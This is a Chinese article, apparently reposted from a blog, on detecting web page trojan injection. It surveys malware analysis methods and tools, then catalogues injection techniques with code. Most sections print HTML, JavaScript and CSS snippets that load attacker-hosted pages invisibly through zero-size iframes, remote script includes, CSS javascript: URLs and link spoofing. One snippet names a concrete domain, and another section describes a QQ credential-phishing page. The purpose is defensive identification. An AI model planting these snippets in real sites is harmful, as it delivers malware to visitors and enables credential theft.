1  引言
    随着Web2.0网站的普及和互动性的增强,统计显示Web应用漏洞已成为互联网的最大安全隐患,2009年第一季度截获的挂马网站(网页数量)总数目为 197676188个,平均每天截获2196402个;挂马网站攻击总次数800412435次,平均每天有889万余人次网民访问挂马网站;其中确定是 大型网站被挂马的“挂马网站”总数为24202个,平均每天有268个大型网站被挂马,挂马网站已经成为威胁国内互联网安全的主要因素[1]。 首先看看下面的概念。
    “木马网站”是一种利用程序漏洞,在后台偷偷下载木马的网页。这些网页通常放在黑客自己管理的服务器上,当用户访问时,会把许多木马下载到用户机器中并运 行。
    “挂马网站”指的是被黑客植入恶意代码的正规网站,这些被植入的恶意代码,通常会直接指向    “木马网站”的网络地址。
    “木马地址”指的是木马病毒真正的网络下载地址。
    “肉鸡”是指黑客通过木马控制个人电脑,被黑客控制的个人电脑就称为“肉鸡”。
    网络挂马,在网络安全界中一直是一个长热不衰的话题,黑客们想将自己的木马病毒传播给特定人群或者最广泛的特定人群时,所能够用到的方法只有网络挂马这一 种,在Web2.0互动网站盛行的今天,网络挂马无时不刻不在威胁着用户的安全。
    网络挂马不仅是黑客抓取肉鸡的主要方式,往往也会对缺乏防范的网站和服务器构成巨大威胁,让受害服务器成为病毒的源头。
    如今,病毒改变了以前主要依靠可执行文件传播的方式,开始通过电子邮件、软件漏洞、内网攻击、网页挂马等多种方式传播,将病毒传播的途径变得五花八门。不 过在众多的传播方式中,黑客们仍然喜欢选用网页挂马,网页挂马不仅仅能够借刀杀人,借助新闻热点,借助社交网站,借助值得信赖的大型门户网站,让网络用户 在不知不觉中中招。
    而且随着近年来应用程序的漏洞不断被发现,网页挂马的方法也越来越多,成功几率越来越高,传播范围也越来越广。因此,网页挂马成为了黑客传播病毒的主要手 段。
2 恶意代码分析方法
    所谓网页挂马,就是把一段恶意代码程序植入网页中,当用户打开网页或相应点击时,恶意代码会在后台自动下载到用户计算机,或者通过转移连接,连接到黑客控 制的木马网站上,最终实现恶意代码植入用户计算机。
    恶意代码的分析方法有多种类型。通常,按照分析过程中恶意代码的执行状态(是否正在被执行)可以把恶意代码分析方法分成静态分析方法和动态分析方法两大 类。再根据分析过程中是否考虑恶意代码的程序语义可以把恶意代码分析方法分成基于代码特征的分析方法、基于代码语义的分析方法、外部观察法和跟踪调试法四 种[2]。
2.1 静态分析法  
    静态分析方法就是在不运行恶意代码的情况下,利用分析工具对恶意代码的静态特征和功能模块进行分析的方法。静态分析工具包括 ollyDump(GigaPede2009)、 W32DASM(URSoftware2009)、IDAPro(DataReseue2009)和HIEw(Suslikov2009)等。利用静态分 析方法,可以分析出恶意代码的大致结构,可以确定恶意代码的特征字符串、特征代码段等,还可以得到恶意代码的功能模块和各个功能模块的流程图。静态分析方 法是目前最主要的代码分析方法,被广泛应用于恶意代码分析和软件安全测评工作中。恶意代码和其它正常代码(benignsoftware)一样,本质上来 说也是由计算机指令和非指令的数据构成的,根据分析过程是否考虑构成恶意代码的计算机指令的语义,可以把静态分析方法分成基于代码特征的分析方法和基于代 码语义的分析方法两种类型。
    1)基于代码特征的分析方法
    2)基于代码语义的分析方法
    静态分析方法的优点在于:
    (1)静态分析方法不需要真实执行可执行文件,因此可以分析不能运行的中间形式的二进制代码(Intermediate Binary Code);
    (2)由于无需实际执行代码,因此静态分析时恶意代码不会危害系统安全;
    (3)静态分析方法可以在可执行文件执行之前对整个代码的流程有个全局掌握;
    (4)不受具体进程执行流程的制约,可以对代码进行详尽的细粒度的分析。
2.2  态分析方法
    动态分析方法通过在可控环境中运行恶意代码,全程监控代码的所有操作,观察其状态和执行流程的变化,获得执行过程中的各种数据。使用最广泛的可控环境就是 “虚拟机” (Virtualizers),此环境和用户的计算机隔离,代码在被监控环境中的操作不会对用户计算机有任何的影响。根据分析过程中是否需要考虑恶意代码 的语义特征,将动态分析方法分为外部观察法和跟踪调试法两种。
    1)外部观察法
    外部观察法是利用系统监视工具观察恶意代码运行过程中系统环境的变化,通过分析这些变化判断恶意代码功能的分析方法。
    2)跟踪调试法
    跟踪调试法是通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能的技术。
2.3  常用分析工具
    (1)网络活动状态监视工具:TcpView
    (2)动态调试工具:OllyDbg
    (3)反汇编工具:IDAPro
    (4)跟踪调试工具:Softlce
    (5)模拟器QEMU
3  源码分析
    网页恶意代码其实就是一段网页代码,主要以ASP和PHP代码为主。由于这些代码都运行在服务器端,攻击者通过这段精心设计的代码,在服务器端进行某些危 险的操作,获得某些敏感的技术信息或者通过渗透,提权获得服务器的控制权。并且这也是攻击者控制服务器的一条通道,比一般的入侵更具有隐蔽性。
    网页挂马就是攻击者通过在正常的页面中(通常是网站的主页)插入一段代码。浏览者在打开该页面的时候,这段代码被执行,然后下载并运行某木马的服务器端程 序,进而控制浏览者的主机。
网 页挂马到如今已经发展出许多方法与应用手段,从IFRAME框架,到利用JS文件调用网页木马,以至于在CSS文件中插入网页木马,或者伪装 成图片,甚至利用SWF、RM、 AVI等文件的弹窗功能来打开网页木马,都成为黑客经常使用的手段。在这其中IFRAME网页框架挂马是黑客最多用到的经典挂马方式,也是最基础的挂马方 式,可以说没有IFRAME,网页木马中有一多半就无法实现完美的隐藏,让用户在不察觉中受到攻击。
3.1 通常的挂马形式
3.1.1 框架挂马
    对于网页源代码而言,只要不破坏原有的语言逻辑,那就想插入哪里就写哪里了,网页木马被攻击者利用iframe语句,加载到任意网页中都可执行的挂马形 式,是最早也是最有效的的一种网络挂马技术。通常的挂马代码如下:
    <iframe src=http://www.xxx.com/muma.html width=100 height=100></iframe>
    这里可以提取iframe来进行分析识别。
3.1.2  body挂马
    <body οnlοad="window.location='地址';"></body>
3.1.3  隐蔽挂马
    top.document.body.innerHTML = top.document.body. innerHTML + 'rn<iframe src="http://www.xxx.com / muma.htm/"></iframe>';
3.1.4  CSS中挂马
 body {
background-image: url('javascript:document.write("<script src= http://www.xxx.com /muma.js></script>")')}
3.1.5  JAJA挂马
    黑客直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄的打开网马窗口,隐藏的运行典型代码 如下:
<SCRIPT language=javascript>
window.open ("http://www.xxx.com/木 马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=0,height=0");
</script>
    这种代码往往很长,可以通过“width”和“height=”参数设为“0”进行识别。
    这里同样可以利用基本的iframe框架,不过在<script></script>之中可识别语言不是html,但js文件可 以写成如下形式:
ocument.write("<iframe <iframe src=http://www.001sb.net/mm.htm width=0 height=0></iframe>");,这时就可以执行此js中的代码了,全语句如下:
< script language=*>document.write("<iframe <iframe src=http://www.001sb.net/mm.htm width=0 height=0> </iframe>")</script>
3.1.6  启动时加载一个网页
    <body οnlοad="window.location=' http://www.xxx.com ';"></
body>
3.2 隐蔽的挂马形式
3.2.1 隐形框架嵌入式网络挂马
    <iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe>
在打开插入该句代码的网页后,就也就打开了http://www.xxx.com/muma.html页面,但是由于它的长和宽都为“0”,所 以很难察觉,非常具有隐蔽性。
3.2.2  js调用型网页挂马
    好多网站上,源代码都会调用js文件,其中的语句为 <script language=* src=./ad/ad.js></script>,这里可能被挂马了,其中这里可以远程调用js。js挂马是一种利用js脚本文件调 用的原理进行的网页木马隐蔽挂马技术,如:黑客先制作一个js文件,然后利用js代码调用到挂马的网页。通常代码如下:
    <script language=javascript src=http://www.xxx.com/ gm.js></script>
http://www.xxx.com/gm.js就是一个 js脚本文件,通过它调用和执行木马的服务端。这些js文件一般都可以通过工具生成,攻击者只需输入相关的选项就可以了。同时还可能有下面的变形加密形 式:
    <SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt后缀为任意扩展名
    黑客会先用写字板将JS挂马脚本代码写入其中:
document.write('<Iframe src="网页木马地址" ></iframe>');
    然后另存为后缀为JS的脚本文件,并上传到自己指定的网址。这时需要在网页代码中寻找如下代码进行识别是否被写入恶意代码:
    <script src="http://www.xxx.com/木马脚本.js"></script>
或者
    document.write("<div style='display:none'>")
    document.write("<iframe src=" http://www.xxx.com " width="0" height="0"     scrolling="no" frameborder="0"> </iframe>")
document.write("</div>")
还可以根据情况识别下面的代码是否存在恶意指向木马网站的代码:
<div style="behaviour: url(http://www.xxx.com /木马脚本.js);">
或者
<iframe src="vbscript:[挂马脚本]">
通常黑客在挂马时都不会采用将代码写在网页上的方法,而是会使用注入手段,让网页远程调用异地外域的JS脚本,也就是黑客自己网站上包含有恶意 代码的JS挂马文件,因此可以从 这里入手进行识别。提取一切Src请求的异地外域的JS脚本,识别恶意代码。
3.2.3  图片伪装挂马
随 着防毒技术的发展,黑客手段也不停地更新,图片木马技术逃避杀毒监视的新技术,攻击者将类似: http://www.xxx.com/test.htm中的木马代码植入到test.gif图片文件中,这些嵌入代码的图片都可以用工具生成,攻击者只 需输入相关的选项就可以了,如图3。图片木马生成后,再利用代码调用执行,是比较新颖的一种挂马隐蔽方法,实例代码如:
<html>
<iframe src="http://www.xxx.com/test.htm" height=0 width=0></iframe>
<img src="http://www.xxx.com/test.jpg"></center>
</html>
当用户打开http://www.xxx.com /test.htm时,显示给用户的是http://www.xxx.com/test.jpg,而http://www.xxx.com/ test.htm网页代码也 随之运行。
3.2.4 网络诱惑挂马
    网络中最常见的欺骗手段,利用人们的猎奇、贪心等心理伪装构造一个链接或者一个网页,引诱点击,当用户打开一个 看似正常的页面时,网页代码随之运行,隐蔽性极高。这种方式往往和欺骗用户输入某些个人隐私信息,然后窃取个人隐私相关联。比如攻击者模仿腾讯公司设计了 一个获取QQ币的页面,引诱输入QQ号和密码,等用户输入完提交后,就把这些信息发送到攻击者指定的地方。这种挂马可以通过识别信息传输的地址来识别是否 为官方合法。这种方法很难通过源码来识别此页面是否为木马,需要用户自行判断进行配合。
3.2.5 伪装挂马
    黑客利用IE或者Fixfox浏览器的设计缺陷制造的一种高级欺骗技术,当用户访问木马页面时地址栏显示www.sina.com等用户信任地址,其实却 打开了被挂马的页面,从而实现欺骗,示例代码如:
<p><a id="qipian" href=" http://www.xxx.com "></a></p>
<div>
<a href="http:// www.sina.com" target="_blank">

<caption>
<label for="qipian">
<u style="cursor;pointer;color;blue">
www.sina.com
</u>
</label>
</caption>
</table>
</a>
</div>
上面的代码的效果,在貌似http:// www.sina.com的链接点击却打开了http://www.xxx.com。
3.2.6  伪装调用
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="http://www.xxx.com" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
3.2.7  诱惑欺骗
    这种欺骗,通常利用热点新闻,或者人们感兴趣的花边消息,源码示例如下:
<a href="http://www.163.com(迷惑 连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url=" http://www.xxx.com";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
    这种欺骗手段,同样可以寻找真实的地址来识别。
3.2.8 高级CSS挂马
    “background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过 “background-image”配合JavaScript的代码将网页木马悄悄的在用户的电脑中运行,源码示例如下:
Body{
background- image: url('javascript:document.write("<Iframe src= http://www.xxx.com /muma.htm width=0 height=0></iframe>")')
}    
    针对这段代码,可以根据调用的CSS文件。找到挂马网页中调用CSS的代码:
<link type="text/css" rel="stylesheet" href="http://www.xxx.com/ /css/basic.css" media="screen" />
找到该段代码后,即可识别出真正的木马地址。
3.2.9 隐蔽css挂马
    在3.2.8中的CSS挂马技术,在运行时会出现空白的页面,影响网页访问者正常的访问,因此比较容易发现。不过这段代码,使用了 JavaScript的Open开窗,通过新开打开一个隐藏的窗口,在后台悄悄的运行新窗口并激活访问网页溢出木马页面,不会影响访问者的观看网页内容, 因此更加隐蔽,示例如下:
    Body{
background-image: url(javascript:open(' http://www.xxx.com /muma.htm ','newwindow','height=0,width=0,top=1000,left=0,toolbar=no,menubar=no,scrollbars=no,resizable=no,location=no,status=no'))
}
4  结论
    根据上面的分析,针对源码的敏感位置进行分析匹配,识别可能出现的网页中的木马原代码和转移语句。目前很少有黑客将木马原代码直接写在网页上,因为这样很 容易被发现。绝大多数都是通过转移语句,将网民转移到木马网站中,或者远程调用木马网站中的木马文件,从而实现将木马植入用户计算机,达到黑客的目的。因 此,识别转移语句和远程调用既可以识别出可疑点,在进一步追查即可识别出木马的真正匿身之地了。
摘录自博客:http://blog.sina.com.cn/s/blog_4b93170a0100l2bh.html

Web恶意代码检测方法相关推荐

  1. 深度学习在恶意代码检测方面的应用简单调研

    随着互联网的繁荣,现阶段的恶意代码也呈现出快速发展的趋势,主要表现为变种数量多.传播速度快.影响范围广.在这样的形势下,传统的恶意代码检测方法已经无法满足人们对恶意代码检测的要求.比如基于签名特征码的 ...

  2. [系统安全] 三十三.恶意代码检测(3)基于机器学习的恶意代码检测技术

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  3. [系统安全] 四十六.Powershell恶意代码检测系列 (1)Powershell基础入门及管道和变量的用法

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  4. [网络安全提高篇] 一一五.Powershell恶意代码检测 (3)Token关键词自动提取

    "网络安全提高班"新的100篇文章即将开启,包括Web渗透.内网渗透.靶场搭建.CVE复现.攻击溯源.实战及CTF总结,它将更加聚焦,更加深入,也是作者的慢慢成长史.换专业确实挺难 ...

  5. [系统安全] 三十一.恶意代码检测(1)恶意代码攻击溯源及恶意样本分析

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  6. 信息安全与技术——(十一)恶意代码检测与防范技术

    文章目录 1.恶意代码(Malicious Code) 2.恶意代码对系统带来的影响 3.典型病毒 3.1蠕虫病毒 3.2熊猫烧香病毒 3.3木马病毒 3.4DDoS攻击木马 3.5邮箱病毒 4.恶意 ...

  7. 网站被黑后处理方法及删除批量恶意代码的方法步骤

    网站被黑后处理方法及删除批量恶意代码的方法步骤 如果发现网站出现异常情况,如页面被修改.管理账号不能登录,则说明网站已经被入侵.这时就需要尽快进行处理,以防止黑客种植的网页病毒扩散. 暂时关闭网站 网 ...

  8. [系统安全] 三十四.恶意代码检测(4)编写代码自动提取IAT表、字符串及时间信息

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  9. 恶意代码检测技术的演化

    from:http://www.4ucode.com/Study/Topic/1407760 在本文中我们讨论了识别恶意代码的各种方法,它们彼此间在功能上(以及时间上)的联系,它们的技术以及特点.从一 ...

最新文章

  1. jClarity发布Censum 3.0
  2. FineReport中以jws方式调用WebService数据源方案
  3. Ubuntu下安装JDK步骤
  4. VS2005混合编译ARM汇编代码
  5. WEB安全基础-Javascrp相关知识点之DOM
  6. Java多线程:线程停止
  7. pytorch Tensor转numpy并解决RuntimeError: Can‘t call numpy() on Tensor that requires grad.报错
  8. [docker][win10]安装的坑
  9. cocos2d pod_cocos2d 和 cocos3d的版本问题
  10. python setup.py卸载
  11. C# WinForm绘图相关
  12. 真倒霉,前不久分區表錯誤把我數據全部搞沒了
  13. Database Design Best Practice (2)
  14. SSH学习--struts的action中BaseAction的作用
  15. MDK3358平台QT示例-ADS1110温度采集示例
  16. python数字黑洞123_演示数字黑洞现象
  17. 飞飞影视php 漏洞,飞飞影视SQL injection exploit[转]
  18. jdon(jdong)
  19. 模式识别-从贝叶斯决策理论看模式分类
  20. UBUNTU 16.04无线网卡驱动

热门文章

  1. VBScript脚本语言学习(持续更新)
  2. 壹佰智能名片v1.2.12
  3. 天梯赛最短路专题 -- 旅游规划、城市间紧急救援
  4. ubuntu Vscode打不开 提示error:unable to write program user data 且多数软件不能正常打开的一种可能性
  5. iOS 审核被拒绝3.2.1 没有金融许可证
  6. 分布式拒绝服务(DDOS)攻击发展趋势
  7. 小米持续制造尖叫的三个关键词
  8. 一篇文章粗浅了解Apache zookeeper
  9. Lunix——虚拟机系统安装
  10. 没有core的程序异常退出追查过程